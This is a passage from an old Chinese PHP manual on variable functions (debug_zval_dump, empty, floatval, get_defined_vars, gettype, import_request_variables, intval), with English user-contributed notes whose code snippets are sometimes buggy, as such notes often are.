This behavior is further compounded when a variable is not passed to debug_zval_dump() by reference. To illustrate, consider a slightly modified version of the above example:

例子 2.

<?php
$var1 = 'Hello World';
$var2 = '';

$var2 =& $var1;

debug_zval_dump($var1); // not passed by reference, this time
?>

上例将输出：

string(11) "Hello World" refcount(1)

Why refcount(1)? Because a copy of $var1 is being made, when the function is called.

This function becomes even more confusing when a variable with a refcount of 1 is passed (by copy/value):

例子 3.

<?php
$var1 = 'Hello World';

debug_zval_dump($var1);
?>

上例将输出：

string(11) "Hello World" refcount(2)

A refcount of 2, here, is extremely non-obvious. Especially considering the above examples. So what's happening?

When a variable has a single reference (as did $var1 before it was used as an argument to debug_zval_dump()), PHP's engine optimizes the manner in which it is passed to a function. Internally, PHP treats $var1 like a reference (in that the refcount is increased for the scope of this function), with the caveat that if the passed reference happens to be written to, a copy is made, but only at the moment of writing. This is known as "copy on write."

So, if debug_zval_dump() happened to write to its sole parameter (and it doesn't), then a copy would be made. Until then, the parameter remains a reference, causing the refcount to be incremented to 2 for the scope of the function call.

参见

var_dump()
debug_backtrace()
References Explained
Reference Counting and Aliasing (by Andi Gutmans)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Variable 变量函数 | 上一级 | doubleval


doubleval

(PHP 3, PHP 4, PHP 5)

doubleval -- floatval() 的别名

描述

此函数是 floatval() 的别名。

注: 此别名是函数改名之后的遗留问题。在 PHP 旧的版本中由于还没有 floatval() 函数，所以你可能需要用到这个 floatval() 的别名函数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
debug_zval_dump | 上一级 | empty


empty

(PHP 3, PHP 4, PHP 5)

empty -- 检查一个变量是否为空

描述

bool empty ( mixed var )

如果 var 是非空或非零的值，则 empty() 返回 FALSE。换句话说，""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的，如果 var 为空，则返回 TRUE。

除了当变量没有置值时不产生警告之外，empty() 是 (boolean) var 的反义词。参见转换为布尔值获取更多信息。

例子 1. empty() 与 isset() 的一个简单比较。

<?php
$var = 0;

// 结果为 true，因为 $var 为空
if (empty($var)) {
    echo '$var is either 0 or not set at all';
}

// 结果为 false，因为 $var 已设置
if (!isset($var)) {
    echo '$var is not set at all';
}
?>

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

注: empty() 只检测变量，检测任何非变量的东西都将导致解析错误。换句话说，后边的语句将不会起作用： empty(addslashes($name))。

参见 isset()、unset()、array_key_exists()、count() 和 strlen()。

add a note add a note User Contributed Notes
Karl Jung
04-Jun-2006 12:03
This function I did, works like empty(), but doesn't consider zero (0) as empty.
Also, considers as empty, a string containing only blank spaces, or "\n", "\t", etc.

function my_empty($val)
{
   $result = false;

   if (empty($val))
       $result = true;

   if (!$result && (trim($val) == ""))
       $result = true;

   if ($result && is_numeric($val) && $val == 0)
       $result = false;

   return $result;
}

Values considered as EMPTY:

$val = "";
$val = "  ";
$val = " \t \n ";
$val = array();
$val = false;
$val = null;

Values considered NOT EMPTY:

$val = "0";
$val = intval(0);
$val = floatval(0);
boards at gmail dot com
29-Apr-2006 02:53
Followup to ben at wbtproductions dot com:

You'll want to do this check for numeric 0:
<?
if ($data === 0) echo 'The data is zero.';
?>

Checking $data == 0 basically means the same thing as "is $data false?".  Loose type checking is a gotcha you should look out for.
ben at wbtproductions dot com
19-Apr-2006 08:40
It is important to note that empty() does not check data type.  This can change the functioning of any program if, at some point, your data might be all zeroes, containing no real data, but also not empty by PHP's definition.

Think about this:
$data = "00000";
if (empty($data))
echo "The data appears empty.";

if (0==$data) //Use this test for number applications!!
echo "The data is zero.";

$data = 0;
if (empty($data))
echo "Remember, zero is empty.";

outputs:
The data is zero.
Remember, zero is empty.

This could crop up in ZIP codes and phone numbers or zero-filled/zero-padded values from SQL.  Watch those variable types!
nobody at example dot com
01-Mar-2006 04:06
Re: inerte is my gmail.com username's comment:

While that may be true, those two statements (empty($var), $var == '') are NOT the same. When programming for web interfaces, where a user may be submitting '0' as a valid field value, you should not be using empty().

<?php
   $str = '0';

   // outputs 'empty'
   echo empty($str) ? 'empty' : 'not empty';

   // outputs 'not empty'
   echo $str == '' ? 'empty' : 'not empty';
?>
Trigunflame at charter dot net
01-Feb-2006 01:35
But not faster than

if (!$var)
{

}

which is about 20% faster than empty() on php5.1
inerte is my gmail.com username
11-Nov-2005 10:58
empty() is about 10% faster than a comparision.

if (empty($var)) {
}

is faster than:

if ($var == '') {
}

YMMV, empty() also checks array and attributes, plus 0, and '' is kind a string with nothing inside. But I was using '' and got a huge performance boost with empty().

PHP 4.3.10-15, Apache/2.0.54, Kernel 2.4.27-2-386.
nahpeps at gmx dot de
19-Aug-2005 06:14
When using empty() on an object variable that is provided by the __get function, empty() will always return true.

For example:
class foo {

   public function __get($var) {
     if ($var == "bar") {
         return "bar";
     }
   }
}
$object_foo = new foo();
echo '$object_foo->bar is ' . $object_foo->bar;
if (empty($object_foo->bar)) {
   echo '$object_foo->bar seems to be empty';
}

produces the following output:
$object_foo->bar is bar
$object_foo->bar seems to be empty
jmarbas at hotmail dot com
02-Jul-2005 12:10
empty($var) will return TRUE if $var is empty (according to the definition of 'empty' above) AND if $var is not set.

I know that the statement in the "Return Values" section of the manual already says this in reverse:

"Returns FALSE if var has a non-empty and non-zero value."

but I was like "Why is this thing returning TRUE for unset variables???"... oh i see now... Its supposed to return TRUE for unset variables!!!

<?php
  ini_set('error_reporting',E_ALL);
  ini_set('display_errors','1');
  empty($var);
?>
nsetzer at allspammustdie dot physics dot umd dot edu
30-Jun-2005 11:02
I needed to know if the variable was empty, but allow for it to be zero, so I created this function.  I post it here in case anybody else needs to do that (it's not hard to make, but why reinvent the wheel...)

<?php
function is_extant($var)
{
if (isset($var))
   {
   if ( empty($var) && ($var !== 0) && ($var !== '0') )
       return FALSE;
   else
       return TRUE;
   }
else
   return FALSE;
}
?>
tan_niao
09-Jun-2005 11:43
admin at prelogic dot net has wrote the following
  In response to admin at ninthcircuit dot info

  The best way around that is the trim function. For example:

  $spaces = "        ";
  if(empty(trim($spaces)){
     echo "Omg empty string.";
  }else{
     echo "Omg the string isnt empty!";
  }

  Hope that helps anyone, though it is rather trivial.

i think is said above that empty(trim($spaces)) dont work
,i think is better to seperate this two function

  trim($spaces);
  empty($spaces) thern continue with the code......
Kouenny
08-Jun-2005 09:45
In response to "admin at ninthcircuit dot info" :

Instead of using "$spaces = str_replace(" ","","      ");"
you should use the function "trim()", which clear spaces before and after the string. e.g. "trim('    example 1          ')" returns "example 1".
shorty114
28-May-2005 07:17
In Response to Zigbigidorlu:

Using if (!$_POST['foo']) is not the best way to test if a variable is empty/set. Doing that creates a E_WARNING error for an uninitialized variable, and if you are planning to use a rather high error level, this is not the better way, since this will create an error whereas if (!isset($_POST['foo'])) or (empty($_POST['foo'])) doesn't echo an error, just returns true/false appropriately.

One example of this is in the phpBB code - the coding guidelines state that you have to use isset() or empty() to see if a variable is set, since they planned to use a higher level of error reporting.
Zigbigidorlu
25-May-2005 01:44
This function is of very little use, as the "!" operator creates the same effect.

<?
 if(empty($_POST['username']) exit;
?>

 has the exact same functionality as:

<?
 if(!$_POST['username']) exit;
?>
admin at ninthcircuit dot info
25-May-2005 01:14
Something to note when using empty():

empty() does not see a string variable with nothing but spaces in it as "empty" per se.

Why is this relevant in a PHP application? The answer is.. if you intend to use empty() as a means of input validation, then a little extra work is necessary to make sure that empty() evaluates input with a more favorable outcome.

Example:
<?php
  $spaces = "      ";
  /* This will return false! */
  if (empty($spaces))
     print "This will never be true!";
  else
     print "Told you!";
?>

To make empty() behave the way you would expect it to, use str_replace().

<?php
  $spaces = str_replace(" ","","      ");
  /* This will return true! */
  if (empty($spaces))
     print "This will always be true!";
  else
     print "Told you!";
?>

This might seem trivial given the examples shown above; however, if one were to be storing this information in a mySQL database (or your preferred DB of choice), it might prove to be problematic for retrieval of it later on.
admin at ninthcircuit dot info
25-May-2005 01:13
Something to note when using empty():

empty() does not see a string variable with nothing but spaces in it as "empty" per se.

Why is this relevant in a PHP application? The answer is.. if you intend to use empty() as a means of input validation, then a little extra work is necessary to make sure that empty() evaluates input with a more favorable outcome.

Example:
<?php
  $spaces = "      ";
  /* This will return false! */
  if (empty($spaces))
     print "This will never be true!";
  else
     print "Told you!";
?>

To make empty() behave the way you would expect it to, use str_replace().

<?php
  $spaces = str_replace(" ","","      ");
  /* This will return true! */
  if (empty($spaces))
     print "This will always be true!";
  else
     print "Told you!";
?>

This might seem trivial given the examples shown above; however, if one were to be storing this information in a mySQL database (or your preferred DB of choice), it might prove to be problematic for retrieval of it later on.
myfirstname dot barros at gmail dot com
29-Apr-2005 11:15
<?php
$a = Array( ); #<- empty
$a = Array( '' ); #<- NOT empty
$a = Array( Null ); #<- NOT empty
?>

---
gabriel
rehfeld.us
23-Aug-2004 04:47
ive found the empty() contruct extremely usefull. For some reason people seem to think its of little use, but thats not so.

for example, form fields can be checked in 1 step by using empty(). (assuming a basic check of whether it was submitted and if submitted, that it was not empty.)

<?php

if (!empty($_POST['name'])) $name = $_POST['name'];

?>

compared to isSet(), this saves an extra step. using !empty() will check if the variable is not empty, and if the variable doesnt exit, no warning is generated.

with isSet(), to acheive the same result as the snippit above, you would need to do this:

<?php

if (isSet($_POST['name']) && $_POST['name']) $name = $_POST['name'];

?>

so using !empty() reduces code clutter and improves readability, which IMO, makes this VERY usefull.
paul at worldwithoutwalls dot co dot uk
23-May-2004 01:09
Note the exceptions when it comes to decimal numbers:

<?php
$a = 0.00;
$b = '0.00';
echo (empty($a)? "empty": "not empty"); //result empty
echo (empty($b)? "empty": "not empty"); //result not empty
//BUT...
$c = intval($b);
echo (empty($c)? "empty": "not empty"); //result empty
?>

For those of you using MySQL, if you have a table with a column of decimal type, when you do a SELECT, your data will be returned as a string, so you'll need to do apply intval() before testing for empty.

e.g.
TABLE t has columns id MEDIUMINT and d DECIMAL(4,2)
and contains 1 row where id=1, d=0.00
<?php
$q = "SELECT * FROM t";
$res = mysql_query($q);
$row = mysql_fetch_assoc($res);
echo (empty($row['d'])? "empty": "not empty"); //result not empty
?>
phpcheatsheet at blueshoes dot org
27-Nov-2002 03:18
the php cheatsheet gives a good overview for empty(), isSet(), is_null() etc. http://www.blueshoes.org/en/developer/php_cheat_sheet/

to chris at chaska dot com:
that line
if ( ! isset( $var ) ) return TRUE;
won't do anything, it's useless in that scope.
add a note add a note

后退 | 起点 | 前进
doubleval | 上一级 | floatval


floatval

(PHP 4 >= 4.2.0, PHP 5)

floatval -- 获取变量的浮点值

描述

float floatval ( mixed var )

返回变量 var 的 float 数值。

var 可以是任何标量类型。你不能将 floatval() 用于数组或对象。

<?php
$var = '122.34343The';
$float_value_of_var = floatval ($var);
print $float_value_of_var; // 打印出 122.34343
?>

参见 intval()、strval()、settype() 和 类型戏法。

add a note add a note User Contributed Notes
19-Apr-2005 08:30
you can also use typecasting instead of functions:

(float) $value;
pillepop2003 at yahoo dot de
14-Dec-2004 06:38
Use this snippet to extract any float out of a string. You can choose how a single dot is treated with the (bool) 'single_dot_as_decimal' directive.
This function should be able to cover almost all floats that appear in an european environment.

<?php

   function float($str, $set=FALSE)
   {
       if(preg_match("/([0-9\.,-]+)/", $str, $match))
       {
           // Found number in $str, so set $str that number
           $str = $match[0];

           if(strstr($str, ','))
           {
               // A comma exists, that makes it easy, cos we assume it separates the decimal part.
               $str = str_replace('.', '', $str);    // Erase thousand seps
               $str = str_replace(',', '.', $str);    // Convert , to . for floatval command

               return floatval($str);
           }
           else
           {
               // No comma exists, so we have to decide, how a single dot shall be treated
               if(preg_match("/^[0-9]*[\.]{1}[0-9-]+$/", $str) == TRUE && $set['single_dot_as_decimal'] == TRUE)
               {
                   // Treat single dot as decimal separator
                   return floatval($str);

               }
               else
               {
                   // Else, treat all dots as thousand seps
                   $str = str_replace('.', '', $str);    // Erase thousand seps
                   return floatval($str);
               }
           }
       }

       else
       {
           // No number found, return zero
           return 0;
       }
   }

// Examples

echo float('foo 123,00 bar'); // returns 123.00
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 123.000
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 222123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 222123000

// The decimal part can also consist of '-'
echo float('foo 123,-- bar'); // returns 123.00

?>

Big Up.
Philipp
anonymous at start dot be
16-Jun-2004 10:00
Easier-to-grasp-function for the ',' problem.

function Getfloat($str) {
  if(strstr($str, ",")) {
   $str = str_replace(".", "", $str); // replace dots (thousand seps) with blancs
   $str = str_replace(",", ".", $str); // replace ',' with '.'
  }

  if(preg_match("#([0-9\.]+)#", $str, $match)) { // search for number that may contain '.'
   return floatval($match[0]);
  } else {
   return floatval($str); // take some last chances with floatval
  }
}

echo Getfloat("$ 19.332,35-"); // will print: 19332.35
thorcharAThotmailDOTcom
12-Mar-2004 04:40
Please note that conversion is not always correct, if you use a , instead of a . conversion wil return an integer on most servers.
vickers at hotpop dot com
27-Jan-2004 07:45
floatval() does not work with "$35,234.43", as it could not handle the '$' and the ','.  The following takes care of all values, such that only numeric and the decimal sign are input into floatval().  (It probably shows I'm an old 'c' guy)...this function only lightly tested.

function strtflt($str) {
   $il = strlen($str);
   $flt = "";
   $cstr = "";

   for($i=0;$i<$il;$i++) {
       $cstr = substr($str, $i, 1);
       if(is_numeric($cstr) || $cstr == ".")
           $flt = $flt.$cstr;
   }
   return floatval($flt);
}

Richard Vickers
vickers@hotpop.com
Zipi
25-Apr-2003 05:51
This function converts a string to a float no matter is the decimal separator dot (.) or comma (,). It also converts integers correctly. It takes the digits from the beginning of the string and ignores all other characters.

function floatval($strValue) {
   $floatValue = ereg_replace("(^[0-9]*)(\\.|,)([0-9]*)(.*)", "\\1.\\3", $strValue);
   if (!is_numeric($floatValue)) $floatValue = ereg_replace("(^[0-9]*)(.*)", "\\1", $strValue);
   if (!is_numeric($floatValue)) $floatValue = 0;
   return $floatValue;
  }

-Zipi (Finland)
jason at shadonet dot com
08-Mar-2003 11:07
Instead of using floatval which only appeared in PHP 4.2 you could juse use $variable = (float)$variable

This function doesn't seem to add any functionality that wasn't already there.
add a note add a note

后退 | 起点 | 前进
empty | 上一级 | get_defined_vars


get_defined_vars

(PHP 4 >= 4.0.4, PHP 5)

get_defined_vars -- 返回由所有已定义变量所组成的数组

描述

array get_defined_vars ( void )

此函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。

<?php
$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

// 打印 PHP 解释程序的路径（如果 PHP 作为 CGI 使用的话）
// 例如：/usr/local/bin/php
echo $arr["_"];

// 打印命令行参数（如果有的话）
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值
print_r(array_keys(get_defined_vars()));
?>

参见 get_defined_functions() 和 get_defined_constants()。

add a note add a note User Contributed Notes
sijmen at digitized dot nl
13-Jul-2004 11:11
I was wondering what the difference was between get_defined_vars() and the array $GLOBALS. If you call get_defined_vars() not from a function, then there is no difference. But, if you call it from inside a function or class, then it will only return the available variables inside that function/class.

- Sijmen Ruwhof
lbowerh at adelphia dot net
05-Jun-2004 11:19
Here is a function which generates a debug report for display or email
using get_defined_vars. Great for getting a detailed snapshot without
relying on user input.

<?php
function generateDebugReport($method,$defined_vars,$email="undefined"){
   // Function to create a debug report to display or email.
   // Usage: generateDebugReport(method,get_defined_vars(),email[optional]);
   // Where method is "browser" or "email".

   // Create an ignore list for keys returned by 'get_defined_vars'.
   // For example, HTTP_POST_VARS, HTTP_GET_VARS and others are
   // redundant (same as _POST, _GET)
   // Also include vars you want ignored for security reasons - i.e. PHPSESSID.
   $ignorelist=array("HTTP_POST_VARS","HTTP_GET_VARS",
   "HTTP_COOKIE_VARS","HTTP_SERVER_VARS",
   "HTTP_ENV_VARS","HTTP_SESSION_VARS",
   "_ENV","PHPSESSID","SESS_DBUSER",
   "SESS_DBPASS","HTTP_COOKIE");

   $timestamp=date("m/d/y h:m:s");
   $message="Debug report created $timestamp\n";

   // Get the last SQL error for good measure, where $link is the resource identifier
   // for mysql_connect. Comment out or modify for your database or abstraction setup.
   global $link;
   $sql_error=mysql_error($link);
   if($sql_error){
     $message.="\nMysql Messages:\n".mysql_error($link);
   }
   // End MySQL

   // Could use a recursive function here. You get the idea ;-)
   foreach($defined_vars as $key=>$val){
     if(is_array($val) && !in_array($key,$ignorelist) && count($val) > 0){
       $message.="\n$key array (key=value):\n";
       foreach($val as $subkey=>$subval){
         if(!in_array($subkey,$ignorelist) && !is_array($subval)){
           $message.=$subkey." = ".$subval."\n";
         }
         elseif(!in_array($subkey,$ignorelist) && is_array($subval)){
           foreach($subval as $subsubkey=>$subsubval){
             if(!in_array($subsubkey,$ignorelist)){
               $message.=$subsubkey." = ".$subsubval."\n";
             }
           }
         }
       }
     }
     elseif(!is_array($val) && !in_array($key,$ignorelist) && $val){
       $message.="\nVariable ".$key." = ".$val."\n";
     }
   }

   if($method=="browser"){
     echo nl2br($message);
   }
   elseif($method=="email"){
     if($email=="undefined"){
       $email=$_SERVER["SERVER_ADMIN"];
     }

     $mresult=mail($email,"Debug Report for ".$_ENV["HOSTNAME"]."",$message);
     if($mresult==1){
       echo "Debug Report sent successfully.\n";
     }
     else{
       echo "Failed to send Debug Report.\n";
     }
   }
}
?>
Ruben Barkow(mail-> at web dot de)
06-May-2004 08:32
this does NOT work:
i tried to find out the name of a variable, that was sent to myfunction($in) with this code:
myfunction($in) {
   $e=array_reverse(get_defined_vars());
   echo "possible name for the variable in the function call: '";
   foreach ($e as $n=>$v){
       if ($v===$in) {
           echo $n;
           break;
       }
   }
   echo"'";
}

but:
get_defined_vars() doesent give back the variables outside of a function.
(the code does work in the main programcode)
php - fw2 - net
30-Dec-2003 07:21
biyectivo, above, is incorrect, at least as of PHP-4.3.3 which does indeed show variables from included/required files, as, IMO, it should. Very useful for debugging foreign code.
biyectivo at hotmail dot com
08-Jun-2003 07:16
Thankfully, get_defined_vars() does NOT return variables which are assigned during an include() call. This would be a big security hole. For example:

//---------------------------------------------------------
include("foo.php");
$var1 = "Hi";

$vars = get_defined_vars();
$ks = array_keys($vars);

   for ($i=0;$i<sizeof($ks);$i++)
   {
       echo $ks[$i]." --> ".$vars[$ks[$i]]."< br >";
   }
//---------------------------------------------------------

will return all server variables, then

   var1 --> Hi

but will NOT return

   pwd --> MyPassword

even if inside foo.php there is a line stating

$pwd = "MyPassword";
jgettys at gnuvox dot com
23-Feb-2002 11:09
Simple routine to convert a get_defined_vars object to XML.

function obj2xml($v, $indent='') {
  while (list($key, $val) = each($v)) {
   if ($key == '__attr') continue;
   // Check for __attr
   if (is_object($val->__attr)) {
     while (list($key2, $val2) = each($val->__attr)) {
       $attr .= " $key2=\"$val2\"";
     }
   }
   else $attr = '';
   if (is_array($val) || is_object($val)) {
     print("$indent<$key$attr>\n");
     obj2xml($val, $indent.'  ');
     print("$indent</$key>\n");
   }
   else print("$indent<$key$attr>$val</$key>\n");
  }
}

//Example object
$x->name->first = "John";
$x->name->last = "Smith";
$x->arr['Fruit'] = 'Bannana';
$x->arr['Veg'] = 'Carrot';
$y->customer = $x;
$y->customer->__attr->id='176C4';

$z = get_defined_vars();
obj2xml($z['y']);

will output:
<customer id="176C4">
  <name>
   <first>John</first>
   <last>Smith</last>
  </name>
  <arr>
   <Fruit>Bannana</Fruit>
   <Veg>Carrot</Veg>
  </arr>
</customer>
add a note add a note

后退 | 起点 | 前进
floatval | 上一级 | get_resource_type


get_resource_type

(PHP 4 >= 4.0.2, PHP 5)

get_resource_type -- 返回资源（resource）类型

描述

string get_resource_type ( resource handle )

此函数返回一个字符串，用于表示传递给它的 resource 的类型。如果参数不是合法的 resource，将产生错误。

<?php
$c = mysql_connect();
echo get_resource_type($c)."\n";
// 打印：mysql link

$fp = fopen("foo","w");
echo get_resource_type($fp)."\n";
// 打印：file

$doc = new_xmldoc("1.0");
echo get_resource_type($doc->doc)."\n";
// 打印：domxml document
?>

add a note add a note User Contributed Notes
jdhawk _at_ gmail
06-Oct-2005 04:18
In PHP5 (on Linux), the above example identifies the "file" handler as a 'stream', not 'file'.

This can be particularly worrisome if you're trying to determine the type of stream using this function.

The alternative is to use <?php stream_get_meta_data() ?>, which returns an array containing "stream_type (string) - a label describing the underlying implementation of the stream."
add a note add a note

后退 | 起点 | 前进
get_defined_vars | 上一级 | gettype


gettype

(PHP 3, PHP 4, PHP 5)

gettype -- 获取变量的类型

描述

string gettype ( mixed var )

返回 PHP 变量的类型 var.

警告

不要使用 gettype() 来测试某种类型，因为其返回的字符串在未来的版本中可能需要改变。此外，由于包含了字符串的比较，它的运行也是较慢的。

使用 is_* 函数代替。

返回的字符串的可能值为：

  • “boolean”（从 PHP 4 起）

  • “integer”

  • “double”（由于历史原因，如果是 float 则返回“double”，而不是“float”）

  • “string”

  • “array”

  • “object”

  • “resource”（从 PHP 4 起）

  • “NULL”（从 PHP 4 起）

  • “user function”（只用于 PHP 3，现已停用）

  • “unknown type”

对于 PHP 4，你应该使用 function_exists()
和 method_exists()
取代先前将 gettype()
作用于函数的用法。

参见 settype()、is_array()、is_bool()、is_float()、is_integer()、is_null()、is_numeric()、is_object()、is_resource()、is_scalar() 和 is_string()。

add a note add a note User Contributed Notes
gilthansNOSPAM at gmail dot com
12-Sep-2005 04:18
NaN and #IND will return double or float on gettype, while some inexistent values, like division by zero, will return as a boolean FALSE. 0 by the 0th potency returns 1, even though it is mathematically indetermined.

<?php
$number = 5/0;
$number2 = sqrt(-3);
$number3 = pow(0, 0);
$number4 = 0/0;

echo $number."<br />";
echo $number2."<br />";
echo $number3."<br />";
echo $number4."<br />";
echo "<br />";
echo gettype($number)."<br />";
echo gettype($number2)."<br />";
echo gettype($number3)."<br />";
echo gettype($number4);
?>

This will return:

-1.#IND
1

boolean
double
integer
boolean

0
1
1
0
PHP Warning: Division by zero in C\test.php on line 2 PHP Warning: Division by zero in C:\test.php on line 5
matt at appstate
17-Dec-2004 03:10
Here is something that had me stumped with regards to gettype and is_object.
Gettype will report an incomplete object as such, whereas is_object will return FALSE.

if (!is_object($incomplete_obj)) {
   echo 'This variable is not an object, it is a/an ' . gettype($incomplete_obj);
}

Will print:
This variable is not an object, it is a/an object
jose at vocis dot com
15-Sep-2000 12:22
Also returns "NULL" for variables assigned the return of a function that returned no value via "return;".

<code>

function weird(){
   return;
}
$a=weird();

</code>

isset($a) <> 1
empty($a) <> 1
gettype($a) == NULL

-Jose Batista
ojones at dotclick dot com
01-Sep-2000 01:19
After calling OCIResult to retrieve a NULL result from an Oracle result-set, gettype returns the string 'NULL'.
add a note add a note

后退 | 起点 | 前进
get_resource_type | 上一级 | import_request_variables


import_request_variables

(PHP 4 >= 4.1.0, PHP 5)

import_request_variables -- 将 GET／POST／Cookie 变量导入到全局作用域中

描述

bool import_request_variables ( string types [, string prefix] )

将 GET／POST／Cookie 变量导入到全局作用域中。如果你禁止了 register_globals，但又想用到一些全局变量，那么此函数就很有用。

你可以使用 types 参数指定需要导入的变量。可以用字母‘G’、‘P’和‘C’分别表示 GET、POST 和 Cookie。这些字母不区分大小写，所以你可以使用‘g’、‘p’和‘c’的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序，当使用“gp”时，POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。

prefix 参数作为变量名的前缀，置于所有被导入到全局作用域的变量之前。所以如果你有个名为“userid”的 GET 变量，同时提供了“pref_”作为前缀，那么你将获得一个名为 $pref_userid 的全局变量。

如果你对导入其它全局变量（例如 SERVER 变量）感兴趣，请考虑使用 extract()。

注: 虽然 prefix 参数是可选的，但如果不指定前缀，或者指定一个空字符串作为前缀，你将获得一个 E_NOTICE 级别的错误。使用默认错误报告级别是不显示注意（Notice）级别的错误的。

<?php
// 此处将导入 GET 和 POST 变量
// 使用“rvar_”作为前缀
import_request_variables("gP", "rvar_");

echo $rvar_foo;
?>

参见 $_REQUEST、register_globals、预定义变量 和 extract()。

add a note add a note User Contributed Notes
samb06 at gmail dot com
16-May-2006 07:09
What i do is have a small script in my header file that takes an array called $input, and loops through the array to extract variables. that way the security hole can be closed, as you specify what variables you would like extracted

$input = array('name' => null, 'age' => 26) ;

// 26 is the default age, if $_GET['age'] is empty or not set

function extract_get()
   {
       global $input ;

       if ($input)
           {
               foreach ($input as $k => $v)
                   {
                       if ($_GET[$k] == '' or $_GET[$k] == NULL)
                           {
                               $GLOBALS[$k] = $v ;
                           }
                       else
                           {
                               $GLOBALS = $_GET[$k] ;
                           }
                   }
           }
   }
jason
09-Jul-2005 03:35
reply to ceo AT l-i-e DOT com:

I don't think it's a risk, as all of your request variables will be tagged with the prefix. As long as you don't prefix any of your internal variables with the same, you should be fine.

If someone tries to access an uninitiated security-related variable like $admin_level through request data, it will get imported as $RV_admin_level.
nexxer at rogers dot com
11-Feb-2005 02:47
PHP5 seems to have fixed that, in the sense that import_request_variables("g") works like extract($_GET). It doesn't seem to be passing a reference to the global, but instead creating a copy of it as expected
cornflake4 at gmx dot at
11-Jan-2005 06:52
oops, a typo in my comment:

The last line in the second example (the on using the extract() function) should read:

echo $_GET['var']; # prints 1, so $_GET has been unchanged
cornflake4 at gmx dot at
10-Jan-2005 01:39
Beware:

import_request_variables() does not copy the request variables into local scope variables. Instead, it copies the *reference* to the request variable content to local variables Important implication: any change to the local variable means a changes to the respective request variable, too!

This is a clear difference to extract($_GET) which copies the content of the request variables into local variables.

To shed some light on the implication, consider this (assuming the query string "...&var=1"):

echo $_GET['var']; # prints: 1
import_request_variables();
echo $var; # prints 1
$var = 2;
echo $_GET['var']; # prints 2 !!!!

So, $_GET has changed as well!

On the other hand:

echo $_GET['var']; # prints: 1
extract($_GET);
echo $var; # prints 1
$var = 2;
echo $_GET['var']; # prints 2 !!!!

Because of this, I recommend NOT using import_request_variables(), but extract($_GET); extract($_POST); extract($_COOKIE); instead, since this combination bears not these unexspected side effects.

PS: not to mention that you have to reconsider your coding style if any need to import_request_variables arises at all!
ceo AT l-i-e DOT com
11-Dec-2004 04:56
Call me crazy, but it seems to me that if you use this function, even WITH the prefix, then you might as well just turn register_globals back on...

Sooner or later, somebody will find a "hole" with your prefixed variables in an un-initialized variable.

Better to import precisely the variables you need, and initialize anything else properly.
brian at enchanter dot net
07-Dec-2004 09:19
import_request_variables does *not* read from the $_GET, $_POST, or $_COOKIE arrays - it reads the data directly from what was submitted. This is an important distinction if, for example, the server has magic_quotes turned on and you massage the data to run stripslashes on it; if you then use import_request_variables, your variables will still have slashes in them.

In other words: even if you say $_GET=""; $_POST=""; then use import_request_variables, it'll still get all the request data.

If you change the contents of $_GET and you then want to bring this data into global variables, use extract($_GET, EXTR_PREFIX_ALL, "myprefix") instead.
add a note add a note

后退 | 起点 | 前进
gettype | 上一级 | intval


intval

(PHP 3, PHP 4, PHP 5)

intval -- 获取变量的整数值

描述

int intval ( mixed var [, int base] )

通过使用特定的进制转换（默认是十进制），返回变量 var 的 integer 数值。

var 可以是任何标量类型。intval() 不能用于 array 或 object。

注: 除非 var 参数是字符串，否则 intval() 的 base 参数不会有效果。

参见 floatval()、strval()、settype() 和 类型戏法。

add a note add a note User Contributed Notes
28-Apr-2006 01:36
Operating on integers gives puzzling results--which don't seem to have to do with the number of bits...

<?php
echo intval(1e10);  // -1 on my system; 1410065408 in the example
echo intval(1e5); // 100000 (my own example: lower number--works all right)
echo intval(4e9);  // -294967296 ! (my own example: somewhere in the middle)

echo intval(42000000);  // 42000000 (as in the manual; reasonable)
echo intval(420000000000000000000);  // -1 on my system at least. 0 in the example
// ...and yet still odder...
echo intval(4200000000);  // -94967296! (my own example: somewhere in between)
?>
david at davidmosesNO dot SPAMca
26-Mar-2006 12:16
Re: Ben Laurienti, Disturbing issue with intval()

This may make things a little more clear for you:

<?php

$amount = 19.99 * 100;
printf("%.13f", $amount);    // Outputs : 1998.99999999999981998

?>

Remember that casting floats to ints rounds towards zero, so these are all functionally the same producing 1998:
echo (int)$amount;
echo intVal($amount);
echo (int) 1998.99999999999981998;

Computers cannot store many floating point values to exact precision. For this reason it is generally recommended to never work with currencies in floating point types, and use integers (work in cents), or use some other method. Using floats will have all kinds of rounding and comparison issues. 19.99 will not be the only number to surprise you!
mkamerma at science dot uva dot nl
07-Mar-2006 03:48
As addendum, the "if ($int > 0)" check in the encode function is redundant. It doesn't do anything bad to keep it in since it will always be true when reaching that point, but it's a meaningless conditional this way. It's a remnant from when I tried to write the function in terms of bitshifts, which could lead to negative ints when shifting if the 32nd bit was set (instead of always padding with 0's when using >> it pads with 1's leading to negative ints).
mkamerma at science dot uva dot nl
05-Mar-2006 06:04
When you need to work with integer values that exceed maxint, the following functions may be of use to you - they form a codec pair for integers of variable length rather than fixed length, encoded in a byte as a 7 bit numberal with a 1 bit has-more flag, indicating that the next byte encodes a higher order part of the same number still.

<?php
/* encode integer as 7bit with has-more bit numeral,
   ordered lowest byte first. */
function encode_7bhm($int) {
  if ($int==0) return chr(0); // shortcut
  $ret = "";
  while($int != 0) {
   $high = floor($int / 128);    // overflow for this round
   $low = $int - ($high * 128); // 7 bit numeral
   if ($int > 0) {
     if ($high > 0) { $low = $low + 128; } // has-more flag
     $ret .= chr($low); } //encode
   $int = $high;  // set overflow as next round's number
  }
  return $ret;
}

/* decode a 7bit with has-more bit numeral,
   ordered lowest byte first. */
function decode_7bhm($hmb) {
  $ret = 0;
  $pos = 0;
  $high = 1;
  while($high == 1) {
